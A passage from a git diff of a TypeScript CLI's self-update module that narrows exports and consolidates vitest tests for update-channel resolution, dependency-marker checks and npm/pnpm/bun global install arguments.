git tags", - params: { - installKind: "git" as const, - git: { tag: "v1.0.1-1" }, - }, - expected: { channel: "stable", source: "git-tag" }, - }, - { - name: "uses non-HEAD git branch as dev", - params: { - installKind: "git" as const, - git: { branch: "feature/test" }, - }, + name: "uses feature branch as dev", + params: { installKind: "git" as const, git: { branch: "feature/test" } }, expected: { channel: "dev", source: "git-branch" }, }, - { - name: "falls back for detached HEAD git installs", - params: { - installKind: "git" as const, - git: { branch: "HEAD" }, - }, - expected: { channel: "dev", source: "default" }, - }, { name: "defaults package installs to stable", params: { installKind: "package" as const }, expected: { channel: "stable", source: "default" }, }, - { - name: "defaults unknown installs to stable", - params: { installKind: "unknown" as const }, - expected: { channel: "stable", source: "default" }, - }, - ] satisfies Array<{ - name: string; - params: Parameters[0]; - expected: { channel: UpdateChannel; source: UpdateChannelSource }; - }>)("$name", ({ params, expected }) => { + ])("$name", ({ params, expected }) => { expect(resolveEffectiveUpdateChannel(params)).toEqual(expected); }); }); diff --git a/src/infra/update-channels.ts b/src/infra/update-channels.ts index 7a5c76aebe3e..cbb9b67650f8 100644 --- a/src/infra/update-channels.ts +++ b/src/infra/update-channels.ts @@ -6,12 +6,7 @@ import { normalizeLegacyDotBetaVersion } from "./semver.js"; /** Release stream used to choose registry tags and update policy defaults. */ export type UpdateChannel = "stable" | "extended-stable" | "beta" | "dev"; /** Evidence source that decided the effective update channel. */ -export type UpdateChannelSource = - | "config" - | "git-tag" - | "git-branch" - | "installed-version" - | "default"; +type UpdateChannelSource = "config" | "git-tag" | "git-branch" | "installed-version" | "default"; /** Default channel for npm/package installs when no config or version signal overrides it. */ export const DEFAULT_PACKAGE_CHANNEL: UpdateChannel = "stable"; @@ -67,7 +62,7 @@ export function isBetaTag(tag: string): boolean { } /** Detects prerelease tags, including legacy dot-beta tags and named prerelease channels. */ -export function isPrereleaseTag(tag: string): boolean { +function isPrereleaseTag(tag: string): boolean { const parsed = parseSemver(normalizeLegacyDotBetaVersion(tag)); if (parsed) { return parsed.prerelease.some((part) => typeof part === "string"); diff --git a/src/infra/update-check.test.ts b/src/infra/update-check.test.ts index ea9df436793f..806d2b0456bd 100644 --- a/src/infra/update-check.test.ts +++ b/src/infra/update-check.test.ts @@ -8,12 +8,9 @@ import { runCommandWithTimeout } from "../process/exec.js"; import { withTempDir } from "../test-helpers/temp-dir.js"; import { useMockHttp } from "../test-utils/mock-http.js"; import { - checkDepsStatus, checkUpdateStatus, compareSemverStrings, - fetchNpmLatestVersion, fetchNpmPackageTargetStatus, - fetchNpmRegistryVersionForChannel, fetchNpmTagVersion, formatGitInstallLabel, resolveExtendedStablePackage, @@ -328,40 +325,11 @@ describe("resolveNpmChannelTag", () => { }); }); - it("exposes tag fetch helpers for success and http failures", async () => { + it("fetches registry tag versions and reports missing tags", async () => { versionByTag.latest = "1.0.4"; - - await expect( - fetchNpmPackageTargetStatus({ target: "latest", timeoutMs: 1000, runCommand }), - ).resolves.toEqual({ - target: "latest", - version: "1.0.4", - nodeEngine: ">=22.19.0", - }); await expect( fetchNpmTagVersion({ tag: "latest", timeoutMs: 1000, runCommand }), - ).resolves.toEqual({ - tag: "latest", - version: "1.0.4", - }); - await expect(fetchNpmLatestVersion({ timeoutMs: 1000, runCommand })).resolves.toEqual({ - latestVersion: "1.0.4", - error: undefined, - }); - versionByTag.beta = "1.0.5-beta.1"; - await expect( - fetchNpmRegistryVersionForChannel({ channel: "beta", timeoutMs: 1000, runCommand }), - ).resolves.toEqual({ - latestVersion: "1.0.5-beta.1", - tag: "beta", - }); - await expect(fetchNpmTagVersion({ tag: "beta", timeoutMs: 1000, runCommand })).resolves.toEqual( - { - tag: "beta", - version: "1.0.5-beta.1", - error: undefined, - }, - ); + ).resolves.toEqual({ tag: "latest", version: "1.0.4" }); await expect( fetchNpmTagVersion({ tag: "missing", timeoutMs: 1000, runCommand }), ).resolves.toEqual({ @@ -564,59 +532,6 @@ describe("formatGitInstallLabel", () => { }); }); -describe("checkDepsStatus", () => { - it("reports unknown, missing, stale, and ok states from lockfile markers", async () => { - await withTempDir({ prefix: "openclaw-update-check-" }, async (base) => { - await expect(checkDepsStatus({ root: base, manager: "unknown" })).resolves.toEqual({ - manager: "unknown", - status: "unknown", - lockfilePath: null, - markerPath: null, - reason: "unknown package manager", - }); - - await fs.writeFile(path.join(base, "pnpm-lock.yaml"), "lock", "utf8"); - const missingDeps = await checkDepsStatus({ root: base, manager: "pnpm" }); - expect(missingDeps.manager).toBe("pnpm"); - expect(missingDeps.status).toBe("missing"); - expect(missingDeps.reason).toBe("node_modules marker missing"); - - const markerPath = path.join(base, "node_modules", ".modules.yaml"); - await fs.mkdir(path.dirname(markerPath), { recursive: true }); - await fs.writeFile(markerPath, "marker", "utf8"); - const staleDate = new Date(Date.now() - 10_000); - const freshDate = new Date(); - await fs.utimes(markerPath, staleDate, staleDate); - await fs.utimes(path.join(base, "pnpm-lock.yaml"), freshDate, freshDate); - - const staleDeps = await checkDepsStatus({ root: base, manager: "pnpm" }); - expect(staleDeps.manager).toBe("pnpm"); - expect(staleDeps.status).toBe("stale"); - expect(staleDeps.reason).toBe("lockfile newer than install marker"); - - const newerMarker = new Date(Date.now() + 2_000); - await fs.utimes(markerPath, newerMarker, newerMarker); - const okDeps = await checkDepsStatus({ root: base, manager: "pnpm" }); - expect(okDeps.manager).toBe("pnpm"); - expect(okDeps.status).toBe("ok"); - }); - }); - - it("uses npm-shrinkwrap as the npm dependency lock marker when present", async () => { - await withTempDir({ prefix: "openclaw-update-check-shrinkwrap-" }, async (root) => { - const shrinkwrapPath = path.join(root, "npm-shrinkwrap.json"); - await fs.writeFile(shrinkwrapPath, "{}", "utf8"); - await fs.mkdir(path.join(root, "node_modules"), { recursive: true }); - - const deps = await checkDepsStatus({ root, manager: "npm" }); - - expect(deps.manager).toBe("npm"); - expect(deps.status).toBe("ok"); - expect(deps.lockfilePath).toBe(shrinkwrapPath); - }); - }); -}); - describe("checkUpdateStatus", () => { it("returns unknown install status when root is missing", async () => { await expect( @@ -654,6 +569,60 @@ describe("checkUpdateStatus", () => { }); }); + it("reports missing and stale dependency markers for package installs", async () => { + await withTempDir({ prefix: "openclaw-update-check-deps-" }, async (root) => { + await fs.writeFile( + path.join(root, "package.json"), + JSON.stringify({ name: "openclaw", packageManager: "pnpm@11.2.2" }), + "utf8", + ); + const lockfilePath = path.join(root, "pnpm-lock.yaml"); + await fs.writeFile(lockfilePath, "lock", "utf8"); + + const missing = await checkUpdateStatus({ + root, + includeRegistry: false, + fetchGit: false, + timeoutMs: 1000, + }); + expect(missing.deps).toMatchObject({ + manager: "pnpm", + status: "missing", + reason: "node_modules marker missing", + }); + + const markerPath = path.join(root, "node_modules", ".modules.yaml"); + await fs.mkdir(path.dirname(markerPath), { recursive: true }); + await fs.writeFile(markerPath, "marker", "utf8"); + const staleDate = new Date(Date.now() - 10_000); + const freshDate = new Date(); + await fs.utimes(markerPath, staleDate, staleDate); + await fs.utimes(lockfilePath, freshDate, freshDate); + + const stale = await checkUpdateStatus({ + root, + includeRegistry: false, + fetchGit: false, + timeoutMs: 1000, + }); + expect(stale.deps).toMatchObject({ + manager: "pnpm", + status: "stale", + reason: "lockfile newer than install marker", + }); + + const newerMarker = new Date(Date.now() + 2_000); + await fs.utimes(markerPath, newerMarker, newerMarker); + const ok = await checkUpdateStatus({ + root, + includeRegistry: false, + fetchGit: false, + timeoutMs: 1000, + }); + expect(ok.deps?.status).toBe("ok"); + }); + }); + it("detects npm package installs that ship pnpm package metadata with shrinkwrap", async () => { await withTempDir({ prefix: "openclaw-update-check-npm-shrinkwrap-" }, async (root) => { await fs.writeFile( diff --git a/src/infra/update-check.ts b/src/infra/update-check.ts index 8128af4f6993..e6312c0e17ae 100644 --- a/src/infra/update-check.ts +++ b/src/infra/update-check.ts @@ -9,9 +9,9 @@ import { compareOpenClawReleaseVersions } from "./npm-registry-spec.js"; import { compareValidSemver, normalizeLegacyDotBetaVersion } from "./semver.js"; import { channelToNpmTag, type UpdateChannel } from "./update-channels.js"; -export type PackageManager = "pnpm" | "bun" | "npm" | "unknown"; +type PackageManager = "pnpm" | "bun" | "npm" | "unknown"; -export type GitUpdateStatus = { +type GitUpdateStatus = { root: string; sha: string | null; tag: string | null; @@ -24,7 +24,7 @@ export type GitUpdateStatus = { error?: string; }; -export type DepsStatus = { +type DepsStatus = { manager: PackageManager; status: "ok" | "missing" | "stale" | "unknown"; lockfilePath: string | null; @@ -32,7 +32,7 @@ export type DepsStatus = { reason?: string; }; -export type RegistryStatus = { +type RegistryStatus = { latestVersion: string | null; tag?: string; error?: string; @@ -45,7 +45,7 @@ export type ExtendedStableFailureReason = | "exact_package_mismatch" | "unsupported_git_channel"; -export type ExtendedStableResolutionResult = +type ExtendedStableResolutionResult = | { status: "resolved"; selector: "extended-stable"; @@ -57,13 +57,13 @@ export type ExtendedStableResolutionResult = reason: ExtendedStableFailureReason; }; -export type NpmTagStatus = { +type NpmTagStatus = { tag: string; version: string | null; error?: string; }; -export type NpmPackageTargetStatus = { +type NpmPackageTargetStatus = { target: string; version: string | null; nodeEngine: string | null; @@ -434,7 +434,7 @@ async function resolveDepsMarker(params: { root: string; manager: PackageManager return { lockfilePath: null, markerPath: null }; } -export async function checkDepsStatus(params: { +async function checkDepsStatus(params: { root: string; manager: PackageManager; }): Promise { @@ -502,7 +502,7 @@ export async function checkDepsStatus(params: { }; } -export async function fetchNpmLatestVersion(params?: { +async function fetchNpmLatestVersion(params?: { timeoutMs?: number; cwd?: string; env?: NodeJS.ProcessEnv; @@ -521,7 +521,7 @@ export async function fetchNpmLatestVersion(params?: { }; } -export async function fetchNpmRegistryVersionForChannel(params: { +async function fetchNpmRegistryVersionForChannel(params: { channel: UpdateChannel; timeoutMs?: number; cwd?: string; diff --git a/src/infra/update-global.test.ts b/src/infra/update-global.test.ts index 0f83531e0136..23c1927463d4 100644 --- a/src/infra/update-global.test.ts +++ b/src/infra/update-global.test.ts @@ -4,6 +4,7 @@ import fs from "node:fs/promises"; import path from "node:path"; import { bundledDistPluginFile } from "openclaw/plugin-sdk/test-fixtures"; import { afterEach, describe, expect, it, vi } from "vitest"; +import { writePackageDistInventory } from "../../scripts/lib/package-dist-inventory.ts"; import { BUNDLED_RUNTIME_SIDECAR_PATHS } from "../plugins/runtime-sidecar-paths.js"; import { withTempDir } from "../test-helpers/temp-dir.js"; import { captureEnv } from "../test-utils/env.js"; @@ -12,10 +13,7 @@ import { withMockedWindowsPlatform, withRestoredMocks, } from "../test-utils/vitest-spies.js"; -import { - PACKAGE_DIST_INVENTORY_RELATIVE_PATH, - writePackageDistInventory, -} from "./package-dist-inventory.js"; +import { PACKAGE_DIST_INVENTORY_RELATIVE_PATH } from "./package-dist-inventory.js"; import { canResolveRegistryVersionForPackageTarget, collectInstalledGlobalPackageErrors, @@ -25,13 +23,8 @@ import { createGlobalInstallEnv, globalInstallArgs, globalInstallFallbackArgs, - isExplicitPackageInstallSpec, - isMainPackageTarget, - OPENCLAW_MAIN_PACKAGE_SPEC, - resolveGlobalInstallCommand, resolveGlobalInstallTarget, resolveGlobalInstallSpec, - resolveGlobalRoot, resolveNpmGlobalPrefixLayoutFromGlobalRoot, resolveNpmGlobalPrefixLayoutFromPrefix, resolvePnpmGlobalDirFromGlobalRoot, @@ -115,22 +108,30 @@ describe("update global helpers", () => { ).toBe("openclaw@next"); }); - it("resolves global roots and package roots from runner output", async () => { - const runCommand: CommandRunner = async (argv) => { - if (argv[0] === "npm") { - return { stdout: "/tmp/npm-root\n", stderr: "", code: 0 }; - } - if (argv[0] === "pnpm") { - return { stdout: "", stderr: "", code: 1 }; - } - throw new Error(`unexpected command: ${argv.join(" ")}`); - }; - - await expect(resolveGlobalRoot("npm", runCommand, 1000)).resolves.toBe("/tmp/npm-root"); - await expect(resolveGlobalRoot("pnpm", runCommand, 1000)).resolves.toBeNull(); - await expect(resolveGlobalRoot("bun", runCommand, 1000)).resolves.toContain( - path.join(".bun", "install", "global", "node_modules"), + it("maps main and explicit package targets to install specs", () => { + expect(resolveGlobalInstallSpec({ packageName: "openclaw", tag: "main" })).toBe( + "github:openclaw/openclaw#main", ); + expect( + resolveGlobalInstallSpec({ + packageName: "openclaw", + tag: "github:openclaw/openclaw#feature/my-branch", + }), + ).toBe("github:openclaw/openclaw#feature/my-branch"); + expect( + resolveGlobalInstallSpec({ + packageName: "openclaw", + tag: "https://example.com/openclaw-main.tgz", + }), + ).toBe("https://example.com/openclaw-main.tgz"); + }); + + it("identifies package targets that support registry version resolution", () => { + expect(canResolveRegistryVersionForPackageTarget("latest")).toBe(true); + expect(canResolveRegistryVersionForPackageTarget("2026.3.22")).toBe(true); + expect(canResolveRegistryVersionForPackageTarget("main")).toBe(false); + expect(canResolveRegistryVersionForPackageTarget("github:openclaw/openclaw#main")).toBe(false); + expect(canResolveRegistryVersionForPackageTarget("/tmp/openclaw.tgz")).toBe(false); }); it("resolves scoped package paths from the package manager global root", async () => { @@ -155,24 +156,6 @@ describe("update global helpers", () => { }); }); - it("maps main and explicit install specs for global installs", () => { - expect(resolveGlobalInstallSpec({ packageName: "openclaw", tag: "main" })).toBe( - OPENCLAW_MAIN_PACKAGE_SPEC, - ); - expect( - resolveGlobalInstallSpec({ - packageName: "openclaw", - tag: "github:openclaw/openclaw#feature/my-branch", - }), - ).toBe("github:openclaw/openclaw#feature/my-branch"); - expect( - resolveGlobalInstallSpec({ - packageName: "openclaw", - tag: "https://example.com/openclaw-main.tgz", - }), - ).toBe("https://example.com/openclaw-main.tgz"); - }); - it("defaults corepack download prompts off for global install env", async () => { const defaultEnv = await createGlobalInstallEnv({}); expect(defaultEnv?.COREPACK_ENABLE_DOWNLOAD_PROMPT).toBe("0"); @@ -260,25 +243,6 @@ describe("update global helpers", () => { }); }); - it("classifies main and raw install specs separately from registry selectors", () => { - expect(isMainPackageTarget("main")).toBe(true); - expect(isMainPackageTarget(" MAIN ")).toBe(true); - expect(isMainPackageTarget("beta")).toBe(false); - - expect(isExplicitPackageInstallSpec("github:openclaw/openclaw#main")).toBe(true); - expect(isExplicitPackageInstallSpec("https://example.com/openclaw-main.tgz")).toBe(true); - expect(isExplicitPackageInstallSpec("file:/tmp/openclaw-main.tgz")).toBe(true); - expect(isExplicitPackageInstallSpec("/tmp/openclaw-main.tgz")).toBe(true); - expect(isExplicitPackageInstallSpec("openclaw-main.tgz")).toBe(true); - expect(isExplicitPackageInstallSpec("beta")).toBe(false); - - expect(canResolveRegistryVersionForPackageTarget("latest")).toBe(true); - expect(canResolveRegistryVersionForPackageTarget("2026.3.22")).toBe(true); - expect(canResolveRegistryVersionForPackageTarget("main")).toBe(false); - expect(canResolveRegistryVersionForPackageTarget("github:openclaw/openclaw#main")).toBe(false); - expect(canResolveRegistryVersionForPackageTarget("/tmp/openclaw-main.tgz")).toBe(false); - }); - it("detects install managers from resolved roots and on-disk presence", async () => { await withTempDir({ prefix: "openclaw-update-global-" }, async (base) => { const npmRoot = path.join(base, "npm-root"); @@ -313,175 +277,6 @@ describe("update global helpers", () => { }); }); - it("prefers the owning npm prefix when PATH npm points at a different global root", async () => { - await withMockedPlatform("darwin", async () => { - await withTempDir({ prefix: "openclaw-update-npm-prefix-" }, async (base) => { - const brewPrefix = path.join(base, "opt", "homebrew"); - const brewBin = path.join(brewPrefix, "bin"); - const brewRoot = path.join(brewPrefix, "lib", "node_modules"); - const pkgRoot = path.join(brewRoot, "openclaw"); - const pathNpmRoot = path.join(base, "nvm", "lib", "node_modules"); - const brewNpm = path.join(brewBin, "npm"); - await fs.mkdir(pkgRoot, { recursive: true }); - await fs.mkdir(brewBin, { recursive: true }); - await fs.writeFile(brewNpm, "", "utf8"); - - const runCommand = createNpmRootRunner({ - defaultNpmRoot: pathNpmRoot, - overrideCommand: brewNpm, - overrideNpmRoot: brewRoot, - }); - - await expect(detectGlobalInstallManagerForRoot(runCommand, pkgRoot, 1000)).resolves.toBe( - "npm", - ); - await expect(resolveGlobalRoot("npm", runCommand, 1000, pkgRoot)).resolves.toBe(brewRoot); - await expect( - resolveGlobalInstallTarget({ - manager: "npm", - runCommand, - timeoutMs: 1000, - pkgRoot, - }), - ).resolves.toEqual({ - manager: "npm", - command: brewNpm, - globalRoot: brewRoot, - packageRoot: pkgRoot, - }); - await expect( - resolveGlobalInstallTarget({ - manager: "npm", - runCommand, - timeoutMs: 1000, - pkgRoot, - honorPackageRoot: true, - }), - ).resolves.toEqual({ - manager: "npm", - command: brewNpm, - globalRoot: brewRoot, - packageRoot: pkgRoot, - }); - expect(globalInstallArgs("npm", "openclaw@latest", pkgRoot)).toEqual([ - brewNpm, - "i", - "-g", - "openclaw@latest", - "--no-fund", - "--no-audit", - "--loglevel=error", - "--min-release-age=0", - ]); - expect(globalInstallFallbackArgs("npm", "openclaw@latest", pkgRoot)).toEqual([ - brewNpm, - "i", - "-g", - "openclaw@latest", - "--omit=optional", - "--no-fund", - "--no-audit", - "--loglevel=error", - "--min-release-age=0", - ]); - }); - }); - }); - - it("keeps npm ownership but avoids per-Node npm commands for reinstall", async () => { - await withMockedPlatform("darwin", async () => { - await withTempDir({ prefix: "openclaw-update-node-version-prefix-" }, async (base) => { - const pathNpmRoot = path.join(base, "path-npm", "lib", "node_modules"); - const layouts = [ - { - name: "homebrew-cellar", - prefix: path.join(base, "opt", "homebrew", "Cellar", "node", "24.5.0"), - }, - { - name: "nvm", - prefix: path.join(base, "home", ".nvm", "versions", "node", "v24.5.0"), - }, - { - name: "asdf", - prefix: path.join(base, "home", ".asdf", "installs", "nodejs", "24.5.0"), - }, - { - name: "volta", - prefix: path.join(base, "home", ".volta", "tools", "image", "node", "24.5.0"), - }, - { - name: "fnm", - prefix: path.join( - base, - "home", - ".local", - "share", - "fnm", - "node-versions", - "v24.5.0", - "installation", - ), - }, - { - name: "n", - prefix: path.join(base, "usr", "local", "n", "versions", "node", "24.5.0"), - }, - ]; - - for (const layout of layouts) { - const nodeManagedRoot = path.join(layout.prefix, "lib", "node_modules"); - const pkgRoot = path.join(nodeManagedRoot, "openclaw"); - const nodeManagedNpm = path.join(layout.prefix, "bin", "npm"); - await fs.mkdir(pkgRoot, { recursive: true }); - await fs.mkdir(path.dirname(nodeManagedNpm), { recursive: true }); - await fs.writeFile(nodeManagedNpm, "", "utf8"); - - const runCommand = createNpmRootRunner({ - defaultNpmRoot: pathNpmRoot, - overrideCommand: nodeManagedNpm, - overrideNpmRoot: nodeManagedRoot, - }); - - await expect( - detectGlobalInstallManagerForRoot(runCommand, pkgRoot, 1000), - layout.name, - ).resolves.toBe("npm"); - await expect( - resolveGlobalRoot("npm", runCommand, 1000, pkgRoot), - layout.name, - ).resolves.toBe(pathNpmRoot); - expect(resolveGlobalInstallCommand("npm", pkgRoot), layout.name).toEqual({ - manager: "npm", - command: "npm", - }); - expect(globalInstallArgs("npm", "openclaw@latest", pkgRoot), layout.name).toEqual([ - "npm", - "i", - "-g", - "openclaw@latest", - "--no-fund", - "--no-audit", - "--loglevel=error", - "--min-release-age=0", - ]); - expect(globalInstallFallbackArgs("npm", "openclaw@latest", pkgRoot), layout.name).toEqual( - [ - "npm", - "i", - "-g", - "openclaw@latest", - "--omit=optional", - "--no-fund", - "--no-audit", - "--loglevel=error", - "--min-release-age=0", - ], - ); - } - }); - }); - }); - it("keeps npm self-updates on the running package root when the PATH probe diverges", async () => { await withMockedPlatform("darwin", async () => { await withTempDir({ prefix: "openclaw-update-ephemeral-probe-" }, async (base) => { @@ -732,41 +527,6 @@ describe("update global helpers", () => { }); }); - it("prefers npm.cmd for win32-style global npm roots", async () => { - await withMockedWindowsPlatform(async () => { - await withTempDir({ prefix: "openclaw-update-win32-npm-prefix-" }, async (base) => { - const npmPrefix = path.join(base, "Roaming", "npm"); - const npmRoot = path.join(npmPrefix, "node_modules"); - const pkgRoot = path.join(npmRoot, "openclaw"); - const npmCmd = path.join(npmPrefix, "npm.cmd"); - const pathNpmRoot = path.join(base, "nvm", "node_modules"); - await fs.mkdir(pkgRoot, { recursive: true }); - await fs.writeFile(npmCmd, "", "utf8"); - - const runCommand = createNpmRootRunner({ - defaultNpmRoot: pathNpmRoot, - overrideCommand: npmCmd, - overrideNpmRoot: npmRoot, - }); - - await expect(detectGlobalInstallManagerForRoot(runCommand, pkgRoot, 1000)).resolves.toBe( - "npm", - ); - await expect(resolveGlobalRoot("npm", runCommand, 1000, pkgRoot)).resolves.toBe(npmRoot); - expect(globalInstallArgs("npm", "openclaw@latest", pkgRoot)).toEqual([ - npmCmd, - "i", - "-g", - "openclaw@latest", - "--no-fund", - "--no-audit", - "--loglevel=error", - expect.stringMatching(/^--before=/), - ]); - }); - }); - }); - it("detects custom pnpm global layouts from the running package root", async () => { await withTempDir({ prefix: "openclaw-update-pnpm-custom-root-" }, async (base) => { const customGlobalDir = path.join(base, "custom-pnpm"); @@ -913,91 +673,6 @@ describe("update global helpers", () => { }); }); - it("builds install argv and npm fallback argv", () => { - expect(resolveGlobalInstallCommand("npm")).toEqual({ - manager: "npm", - command: "npm", - }); - expect(globalInstallArgs("npm", "openclaw@latest")).toEqual([ - "npm", - "i", - "-g", - "openclaw@latest", - "--no-fund", - "--no-audit", - "--loglevel=error", - "--min-release-age=0", - ]); - expect(globalInstallArgs("pnpm", "openclaw@latest")).toEqual([ - "pnpm", - "add", - "-g", - "openclaw@latest", - ]); - expect(globalInstallArgs("pnpm", "github:openclaw/openclaw#release/2026.5.12")).toEqual([ - "pnpm", - "add", - "-g", - "--allow-build=openclaw", - "github:openclaw/openclaw#release/2026.5.12", - ]); - expect( - globalInstallArgs("pnpm", "openclaw@git+https://github.com/openclaw/openclaw.git"), - ).toEqual([ - "pnpm", - "add", - "-g", - "--allow-build=openclaw", - "openclaw@git+https://github.com/openclaw/openclaw.git", - ]); - expect(globalInstallArgs("bun", "openclaw@latest")).toEqual([ - "bun", - "add", - "-g", - "openclaw@latest", - ]); - - expect(globalInstallFallbackArgs("npm", "openclaw@latest")).toEqual([ - "npm", - "i", - "-g", - "openclaw@latest", - "--omit=optional", - "--no-fund", - "--no-audit", - "--loglevel=error", - "--min-release-age=0", - ]); - expect(globalInstallFallbackArgs("pnpm", "openclaw@latest")).toBeNull(); - expect( - globalInstallArgs({ manager: "pnpm", command: "/opt/homebrew/bin/pnpm" }, "openclaw@latest"), - ).toEqual(["/opt/homebrew/bin/pnpm", "add", "-g", "openclaw@latest"]); - expect(globalInstallArgs("pnpm", "openclaw@latest", null, "/opt/pnpm-global")).toEqual([ - "pnpm", - "add", - "-g", - "--global-dir", - "/opt/pnpm-global", - "openclaw@latest", - ]); - expect( - globalInstallArgs( - "pnpm", - "github:openclaw/openclaw#release/2026.5.12", - null, - "/opt/pnpm-global", - ), - ).toEqual([ - "pnpm", - "add", - "-g", - "--global-dir", - "/opt/pnpm-global", - "--allow-build=openclaw", - "github:openclaw/openclaw#release/2026.5.12", - ]); - }); - it("builds npm staged install argv with an explicit prefix", () => { expect(globalInstallArgs("npm", "openclaw@latest", null, "/tmp/stage")).toEqual([ "npm", @@ -1026,6 +701,50 @@ describe("update global helpers", () => { ]); }); + it("builds global install argv for each supported manager", () => { + expect(globalInstallArgs("npm", "openclaw@latest")).toEqual([ + "npm", + "i", + "-g", + "openclaw@latest", + "--no-fund", + "--no-audit", + "--loglevel=error", + "--min-release-age=0", + ]); + expect(globalInstallArgs("pnpm", "openclaw@latest")).toEqual([ + "pnpm", + "add", + "-g", + "openclaw@latest", + ]); + expect(globalInstallArgs("pnpm", "github:openclaw/openclaw#release/2026.5.12")).toEqual([ + "pnpm", + "add", + "-g", + "--allow-build=openclaw", + "github:openclaw/openclaw#release/2026.5.12", + ]); + expect(globalInstallArgs("bun", "openclaw@latest")).toEqual([ + "bun", + "add", + "-g", + "openclaw@latest", + ]); + expect(globalInstallFallbackArgs("npm", "openclaw@latest")).toEqual([ + "npm", + "i", + "-g", + "openclaw@latest", + "--omit=optional", + "--no-fund", + "--no-audit", + "--loglevel=error", + "--min-release-age=0", + ]); + expect(globalInstallFallbackArgs("pnpm", "openclaw@latest")).toBeNull(); + }); + it("resolves npm prefix layouts for normal global roots", () => { expect(resolveNpmGlobalPrefixLayoutFromGlobalRoot("/opt/openclaw/lib/node_modules")).toEqual({ prefix: "/opt/openclaw", diff --git a/src/infra/update-global.ts b/src/infra/update-global.ts index 5209d27464da..cb34a04c982e 100644 --- a/src/infra/update-global.ts +++ b/src/infra/update-global.ts @@ -55,7 +55,7 @@ const PRIMARY_PACKAGE_NAME = "openclaw"; const ALL_PACKAGE_NAMES = [PRIMARY_PACKAGE_NAME] as const; const GLOBAL_RENAME_PREFIX = "."; /** npm-compatible spec used when the user asks to install the moving main branch. */ -export const OPENCLAW_MAIN_PACKAGE_SPEC = "github:openclaw/openclaw#main"; +const OPENCLAW_MAIN_PACKAGE_SPEC = "github:openclaw/openclaw#main"; const COREPACK_ENABLE_DOWNLOAD_PROMPT_DEFAULT = "0"; const NPM_GLOBAL_INSTALL_QUIET_FLAGS = ["--no-fund", "--no-audit", "--loglevel=error"] as const; const PNPM_OPENCLAW_BUILD_ALLOWLIST_FLAG = `--allow-build=${PRIMARY_PACKAGE_NAME}`; @@ -86,7 +86,7 @@ function normalizePackageVersionForComparison(value: string | null | undefined): } /** Returns true when a user target requests the moving main-branch package spec. */ -export function isMainPackageTarget(value: string): boolean { +function isMainPackageTarget(value: string): boolean { return normalizeLowercaseStringOrEmpty(normalizePackageTarget(value)) === "main"; } @@ -94,7 +94,7 @@ export function isMainPackageTarget(value: string): boolean { * Returns true for targets that should pass through as package-manager specs * rather than being treated as registry dist-tags. */ -export function isExplicitPackageInstallSpec(value: string): boolean { +function isExplicitPackageInstallSpec(value: string): boolean { const trimmed = normalizePackageTarget(value); if (!trimmed) { return false; @@ -704,7 +704,7 @@ function resolvePreferredGlobalManagerCommand( * Resolves the package-manager command to execute for a global install. * npm may use the npm binary beside an existing package root when available. */ -export function resolveGlobalInstallCommand( +function resolveGlobalInstallCommand( manager: GlobalInstallManager, pkgRoot?: string | null, ): ResolvedGlobalInstallCommand { @@ -738,7 +738,7 @@ function resolveInstallCommandForManager( * Reads the global `node_modules` root for a package manager command. * Bun uses its deterministic install root because it has no `root -g` command. */ -export async function resolveGlobalRoot( +async function resolveGlobalRoot( managerOrCommand: GlobalInstallManager | ResolvedGlobalInstallCommand, runCommand: CommandRunner, timeoutMs: number, diff --git a/src/infra/update-managed-service-handoff.test.ts b/src/infra/update-managed-service-handoff.test.ts index c18bcec5cc8d..d884d1d2993b 100644 --- a/src/infra/update-managed-service-handoff.test.ts +++ b/src/infra/update-managed-service-handoff.test.ts @@ -507,8 +507,8 @@ describe("managed service update handoff", () => { expect(child.stdout.destroyed).toBe(true); }); - it("strips process supervisor hints while preserving service identity for the CLI handoff", async () => { - const { startManagedServiceUpdateHandoff, stripSupervisorHintEnv } = + it("strips supervisor hints while preserving service identity for the CLI handoff", async () => { + const { startManagedServiceUpdateHandoff } = await import("./update-managed-service-handoff.js"); const serviceIdentityEnv = { OPENCLAW_LAUNCHD_LABEL: "com.example.openclaw.test", @@ -518,15 +518,6 @@ describe("managed service update handoff", () => { const supervisorEnv = Object.fromEntries( SUPERVISOR_HINT_ENV_VARS.map((key) => [key, "supervised"]), ) as NodeJS.ProcessEnv; - const stripped = stripSupervisorHintEnv({ - ...supervisorEnv, - ...serviceIdentityEnv, - KEEP_ME: "1", - }); - expect(stripped).toEqual({ - ...serviceIdentityEnv, - KEEP_ME: "1", - }); const result = await startManagedServiceUpdateHandoff({ root: "/tmp/openclaw", @@ -548,27 +539,16 @@ describe("managed service update handoff", () => { }); expect(result.status).toBe("started"); - expect(result.command).toBe("openclaw update --yes --timeout 1800"); expect(spawnMock).toHaveBeenCalledTimes(1); - const [execPath, args, options] = spawnMock.mock.calls[0] as unknown as [ + const [, args, options] = spawnMock.mock.calls[0] as unknown as [ string, string[], - { env: NodeJS.ProcessEnv; detached?: boolean; cwd?: string; stdio?: unknown }, + { env: NodeJS.ProcessEnv }, ]; - expect(execPath).toBe("/usr/local/bin/node"); - expect(args).toHaveLength(2); tempDirs.add(path.dirname(args[0] ?? result.logPath)); const helperParams = JSON.parse(await fs.readFile(args[1] ?? "", "utf-8")) as { - cwd?: string; metaPath?: string; - stateDatabasePath?: string; }; - expect(helperParams.metaPath).toMatch(/sentinel-meta\.json$/u); - expect(helperParams.stateDatabasePath).toMatch(/openclaw\.sqlite$/u); - expect(options.cwd).toBe(os.homedir()); - expect(helperParams.cwd).toBe(os.homedir()); - expect(options.detached).toBe(true); - expect(options.stdio).toEqual(["ignore", "pipe", "ignore"]); expect(options.env.KEEP_ME).toBe("1"); for (const [key, value] of Object.entries(serviceIdentityEnv)) { expect(options.env[key]).toBe(value); @@ -579,7 +559,7 @@ describe("managed service update handoff", () => { expect(options.env[key]).toBeUndefined(); } expect(options.env.OPENCLAW_UPDATE_RUN_HANDOFF).toBe("1"); - expect(options.env[CONTROL_PLANE_UPDATE_SENTINEL_META_ENV]).toMatch(/sentinel-meta\.json$/u); + expect(options.env[CONTROL_PLANE_UPDATE_SENTINEL_META_ENV]).toBe(helperParams.metaPath); }); it("launches systemd handoffs through a transient user scope", async () => { diff --git a/src/infra/update-managed-service-handoff.ts b/src/infra/update-managed-service-handoff.ts index aa11262851db..82bcc54d1e1c 100644 --- a/src/infra/update-managed-service-handoff.ts +++ b/src/infra/update-managed-service-handoff.ts @@ -460,7 +460,7 @@ function startGatewayServiceBestEffort() { }); `; -export type ManagedServiceUpdateHandoffResult = { +type ManagedServiceUpdateHandoffResult = { status: "started"; pid?: number; command: string; @@ -552,7 +552,7 @@ function resolveGatewayServiceRecovery( return undefined; } -export function 